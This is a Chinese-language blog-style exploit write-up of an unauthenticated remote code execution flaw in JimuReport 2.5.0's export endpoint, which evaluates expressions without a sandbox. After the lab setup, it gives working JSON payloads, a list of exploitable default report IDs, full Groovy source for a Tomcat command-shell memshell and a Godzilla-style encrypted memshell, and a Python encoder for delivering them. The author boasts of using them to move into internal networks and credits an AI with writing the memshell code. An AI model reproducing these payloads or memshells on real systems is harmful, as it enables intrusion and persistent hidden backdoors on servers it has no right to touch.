一、环境搭建
https://codeload.github.com/jeecgboot/jimureport/zip/refs/tags/v2.5.0
添加mvn groovy的依赖,例如
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>3.0.9</version>
</dependency>
下载代码解压。拖进ide,docker 拉起mysql、redis 导入sql文件后到JimuReportApplication.java运行项目即可。官方下载的2.5.0的源代码demo pom.xml是jdk17
我的是arm的 所以我拉的docker pull arm64v8/mysql:8
docker run -d --name jmr-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=jimureport -p 3306:3306 5e7e005a680e
docker run -d --name jmr-redis -p 6379:6379 redis:7
allen@MacBookPro ~/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db master ± pwd
/Users/allen/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db
allen@MacBookPro ~/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db master ± docker cp ./jimureport.mysql5.7.create.sql jmr-mysql:/tmp/
allen@MacBookPro ~/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db master ± docker exec -it jmr-mysql bash
bash-5.1# mysql -uroot -proot
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 294
Server version: 8.4.11 MySQL Community Server - GPL
Copyright (c) 2000, 2026, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use jimureport;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> source /tmp/jimureport.mysql5.7.create.sql;
执行mvn clean package

mvn依赖安装好后即可,不用管这个报错。运行demo项目即可。
看到如下登陆页面证明环境部署成功。输入admin/123456即可

二、漏洞原理
1、jmreport/auto/export 未授权访问
2、ExpressUtil.a()未沙箱化
大概的sink过程如下
JimuReportAutoController.a() → autoExport() → autoAsyncTasks.a() → exportMore() → show() → getDataById() → getBaseSql() → ExpressUtil.a() → RCE,重点关注source入口和getBaseSql即可,中间的过程都是业务逻辑,导出、渲染、组装数组啥的
虽然这个是一个前台rce,但是也是有前提条件的,就是必须要知道报表的id,这里的id还不是说任意reportid就行,这个reportid得配置了数据库查询sql才可以调用getBaseSql(),如果没有SQL的报表就不会走到表达式求值代码就不会解析=开头的表达式了。看了下如果是默认执行了积木的sql脚本的话,如下id可触发漏洞
592957394477469696
1338744112815411200
537521675550674944
590432931076722688
590831722099462144
590835562513256448
1338769064067076098
b35e8d615b4e408e49dbf36805d3641c
993379996736724992
1339859143477039104
891612623430320128
53c82a76f837d5661dceec7d93afafec
1082891594221256704
具体可进入数据库查看 jimureport.jumu_report_db 然后找db_dyn_sql的值不为null的且db_type为0的行。然后对应的jimu_report_id即是漏洞利用时可触发的id值

然后直接全局搜索漏洞端点export

这里可以看到注解,JimuReportAutoController控制器下的export接口为无需鉴权的





ide没有把getBaseSql方法反编译完整,用jadx看下

最终会把paramJson也就是用户发送的jsonbody中的数据代入sql查询

然后getBaseSql中调用了ExpressUtil.a


判断参数是否以=开头如果是则交给aviator执行表达式
ExpressUtil.a 未启用沙箱(没有禁用 Use / Module / StaticMethods)所以就可以在这个阶段触发rce了
三、漏洞利用
平平无奇,弹个计算器
{
"reportParams": [{
"id": "592957394477469696",
"params": {
"x": "=use groovy.util.Eval;Eval.me('[\"/usr/bin/open\",\"-a\",\"Calculator\"].execute()')"
},
"exportType": "pdf"
}]
}

因为用Eval.me改执行命令无回显,用http或dns外带太鸡肋。所以可以通过throw抛RuntimeException异常实现命令回显。
{
"reportParams": [
{
"id": "891612623430320128",
"params": {
"sex": "=use groovy.util.Eval;Eval.me('throw new RuntimeException(new ProcessBuilder(\"id\").start().text)')"
},
"exportType": "pdf"
}
]
}


读项目默认的4603行的sql脚本也没问题。还不够优雅。
试一下
def r=org.springframework.web.context.request.RequestContextHolder.getRequestAttributes().getResponse()
r.setStatus(200)
r.setContentType("text/plain;charset=UTF-8")
r.getWriter().print("id".execute().text)
r.getWriter().flush()


你奶奶滴,积木的表达式解析=把groovy里面的=也给吞掉了。
也行吧,直接base64解码
new String(java.util.Base64.getDecoder().decode())

Allright,搞个cmd内存马试试
这个内存马只能打tomcat,因为要注入value,value的话是tomcat容器架构的特性,相对来说应该更隐蔽些?数据传输先到它才到servlet吧。
//memshell_cmd.groovy
import org.springframework.web.context.request.RequestContextHolder
def sc=RequestContextHolder.currentRequestAttributes().getRequest().getServletContext()
def ctxField=sc.getClass().getDeclaredField("context")
ctxField.setAccessible(true)
def appCtx=ctxField.get(sc)
def stdCtxField=appCtx.getClass().getDeclaredField("context")
stdCtxField.setAccessible(true)
def standardCtx=stdCtxField.get(appCtx)
def pipeline=standardCtx.getPipeline()
def nextValve=null
def valve=[invoke:{req,res->def p=req.getParameter("cmd");if(p){def r=res.getResponse();r.setContentType("text/plain;charset=UTF-8");r.getWriter().println(new String(java.lang.Runtime.getRuntime().exec(p.split(" ")).getInputStream().readAllBytes()));r.getWriter().flush()}else{if(nextValve!=null){nextValve.invoke(req,res)}}},getNext:{->nextValve},setNext:{v->nextValve=v},backgroundProcess:{->},isAsyncSupported:{->false}] as org.apache.catalina.Valve
pipeline.addValve(valve)
throw new RuntimeException("******memshell was successful injected******")

应该是0x20..空格相关的问题,具体是啥导致的就没深入分析了,解决办法如下
那就再ascii一下就好了new String(java.util.Base64.getDecoder().decode(new String(new byte[]{}))
直接用 python3 gen.py memshell_cmd.groovy即可。
import base64, sys
with open(sys.argv[1], 'rb') as f:
b64 = base64.b64encode(f.read()).decode()
print (b64)
b64_bytes = list(b64.encode())
arr = "new byte[]{" + ",".join(str(b) for b in b64_bytes) + "}"
print(f"=use groovy.util.Eval;Eval.me('groovy.util.Eval.me(new String(java.util.Base64.getDecoder().decode(new String({arr}))))')")

访问🐎子试试

看下能不能搞个哥斯拉内存马,脚本小子有啥能耐。掏出我的中转站和cc
直接参考Godzilla的内存马逻辑,改写tomcat value内存注入
//memshell_godzilla.groovy
import org.springframework.web.context.request.RequestContextHolder
import javax.crypto.Cipher
import javax.crypto.spec.SecretKeySpec
import java.security.MessageDigest as MD
import java.lang.invoke.MethodHandles
import javassist.ClassPool
def sc=RequestContextHolder.currentRequestAttributes().getRequest().getServletContext()
def f=sc.getClass().getDeclaredField("context");f.setAccessible(true)
def a=f.get(sc)
def g=a.getClass().getDeclaredField("context");g.setAccessible(true)
def s=g.get(a)
def pl=s.getPipeline()
def nx=null
def key="3c6e0b8a9c15224a"
def pa="pass"
def mh=new java.math.BigInteger(1,MD.getInstance("MD5").digest((pa+key).getBytes("UTF-8"))).toString(16).toUpperCase()
def aes={byte[] b,boolean e->def c=Cipher.getInstance("AES");c.init(e?1:2,new SecretKeySpec(key.getBytes("UTF-8"),"AES"));c.doFinal(b)}
def b64d={String str->java.util.Base64.getDecoder().decode(str)}
def b64e={byte[] b->java.util.Base64.getEncoder().encodeToString(b)}
def pc=null
def lk=MethodHandles.lookup()
def v=[invoke:{r,rs->
def val=r.getParameter(pa)
if(val!=null){
def R=rs.getResponse()
try{
def data=aes(b64d(val),false)
if(data!=null&&data.length>0){
if(pc==null){
// 首次请求:GZIP 解压 class 字节码
if(data.length>1&&data[0]==(byte)0x1F&&data[1]==(byte)0x8B){
def gis=new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(data))
data=gis.readAllBytes()
gis.close()
}
// javassist 改包名为默认包
def cp=ClassPool.getDefault()
def ct=cp.makeClass(new java.io.ByteArrayInputStream(data))
ct.setName("P"+System.currentTimeMillis())
def cb=ct.toBytecode()
ct.detach()
pc=lk.defineClass(cb)
}else{
// 后续请求:不解压,payload class 内部自己解压
def O=new java.io.ByteArrayOutputStream()
def F=pc.newInstance()
F.equals(O)
F.equals(r)
F.equals(data)
F.toString()
if(O.size()>0){
def pw=R.getWriter()
pw.write(mh.substring(0,16))
pw.write(b64e(aes(O.toByteArray(),true)))
pw.write(mh.substring(16))
pw.flush();pw.close()
}
}
}
}catch(Exception ex){try{R.setContentType("text/plain;charset=UTF-8");R.getWriter().println("err:"+ex.getMessage());R.getWriter().flush()}catch(Exception ignored){}}
}else{if(nx!=null)nx.invoke(r,rs)}
},getNext:{->nx},setNext:{v->nx=v},backgroundProcess:{->},isAsyncSupported:{->false}] as org.apache.catalina.Valve
pl.addValve(v)
throw new RuntimeException("******Godzilla memshell was successful injected******")

爽!!!!!!!!!!!


直接JAVA_AES_BASE64即可愉快的打内网了

到这里就结束啦,漏洞利用还是挺简单的不复杂,内存注入逻辑的我们直接面向claude开发即可。
然后就是哥斯拉内存马groovy代码时遇到高版本jdk的各种坑(交给AI即可)
MethodHandles.Lookup.defineClass包名限制的问题用 javassist 把 payload 类名改成默认包绕过包名限制。